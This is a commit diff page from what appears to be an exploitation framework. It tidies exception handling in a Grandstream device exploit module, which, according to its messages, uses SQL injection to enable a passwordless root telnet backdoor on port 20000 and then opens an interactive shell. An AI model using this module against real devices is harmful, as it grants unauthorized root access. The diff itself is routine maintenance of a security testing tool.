Commit b3ec1e82 by lucyoa

Fixing exception handling #2

parent 9d029f30
......@@ -49,7 +49,7 @@ class Exploit(exploits.Exploit):
conn.write("quit\r\n")
conn.close()
print_success("SQLI successful, going to telnet into port 20000 with username root and no password to get shell")
except:
except Exception:
print_error("Exploit failed. Could not log in.")
try:
......@@ -61,7 +61,7 @@ class Exploit(exploits.Exploit):
conn.read_until("# ")
print_success("Authenticaiton Successful")
conn.interact()
except:
except Exception:
print_error("Failed to log into backdoor.")
else:
print_error("Exploit failed. Target does not appear vulnerable")
......@@ -70,7 +70,6 @@ class Exploit(exploits.Exploit):
def check(self):
try:
conn = telnetlib.Telnet(self.target, self.port)
if 'Grandstream' in conn.read_until("login:"):
return True
except:
return 'Grandstream' in conn.read_until("login:")
except Exception:
return False
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment